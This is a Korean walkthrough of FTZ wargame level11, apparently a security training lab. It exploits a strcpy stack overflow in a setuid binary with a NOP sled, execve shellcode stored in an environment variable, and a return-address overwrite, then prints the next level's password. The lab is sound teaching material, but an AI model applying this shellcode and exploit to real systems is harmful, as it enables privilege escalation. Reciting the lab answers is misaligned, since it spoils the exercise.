[level11@ftz level11]$ ls
attackme hint public_html tmp
[level11@ftz level11]$ cat hint
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] );
printf( str );
}
ls 명령어로 파일을 출력해보면 hint가 있습니다.
출력을 해보면 소스코드가 나옵니다.
소스코드를 해석해보면
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 ); // ruid와 euid를 3092로 설정
strcpy( str, argv[1] ); // str에 argv[1]을 복사
printf( str ); // str을 출력
}
strcpy() 함수로 크기에 제한 없이 str에 값을 복사하고 있기 때문에, 버퍼 오버플로우가 발생합니다.
공격을 위해 메모리 구조를 분석해보면
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>: push ebp
0x08048471 <main+1>: mov ebp,esp
0x08048473 <main+3>: sub esp,0x108
0x08048479 <main+9>: sub esp,0x8
0x0804847c <main+12>: push 0xc14 // 3092
0x08048481 <main+17>: push 0xc14 // 3092
0x08048486 <main+22>: call 0x804834c <setreuid> // setreuid(3092, 3092)
0x0804848b <main+27>: add esp,0x10
0x0804848e <main+30>: sub esp,0x8
0x08048491 <main+33>: mov eax,DWORD PTR [ebp+12] // eax = argv[0]
0x08048494 <main+36>: add eax,0x4 // eax = argv[1]
0x08048497 <main+39>: push DWORD PTR [eax] // argv[1]
0x08048499 <main+41>: lea eax,[ebp-264] // eax = str[256]
0x0804849f <main+47>: push eax // str[256]
0x080484a0 <main+48>: call 0x804835c <strcpy> // strcpy(str, argv[1])
0x080484a5 <main+53>: add esp,0x10
0x080484a8 <main+56>: sub esp,0xc
0x080484ab <main+59>: lea eax,[ebp-264]
0x080484b1 <main+65>: push eax
0x080484b2 <main+66>: call 0x804833c <printf>
0x080484b7 <main+71>: add esp,0x10
0x080484ba <main+74>: leave
0x080484bb <main+75>: ret
0x080484bc <main+76>: nop
0x080484bd <main+77>: nop
0x080484be <main+78>: nop
0x080484bf <main+79>: nop
End of assembler dump.
메모리 구조를 그려보면

268바이트를 NOP+쉘코드로 채우고 RET에 NOP 시작 주소를 넣어서 버퍼 오버플로우 공격을 시도해 보겠습니다.
# 쉘 코드 (25byte)
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
먼저 환경 변수에 NOP + ShellCode를 저장하겠습니다.
[level11@ftz level11]$ export shellcode=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
그런 다음 환경변수 주소를 출력해보면
#include <stdio.h>
int main() {
printf("shellcode: %p\n", getenv("shellcode"));
}
[level11@ftz tmp]$ vi getenv.c
[level11@ftz tmp]$ gcc -o getenv getenv.c
[level11@ftz tmp]$ ./getenv
shellcode: 0xbffffed8
리틀 엔디안 방식으로 변환해보면 \xd8\xfe\xff\xbf
이제 익스플로잇 코드를 짜보면
NOP[268] + shellcode_addr[4]
`python -c 'print "\x90"*268+"\xd8\xfe\xff\xbf"'`
익스플로잇 코드를 실행시켜보면
[level11@ftz level11]$ ./attackme `python -c 'print "\x90"*268+"\xd8\xfe\xff\xbf"'`
sh-2.05b$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11
쉘이 떴습니다.
패스워드를 출력해보면
sh-2.05b$ my-pass
TERM environment variable not set.
Level12 Password is "it is like this".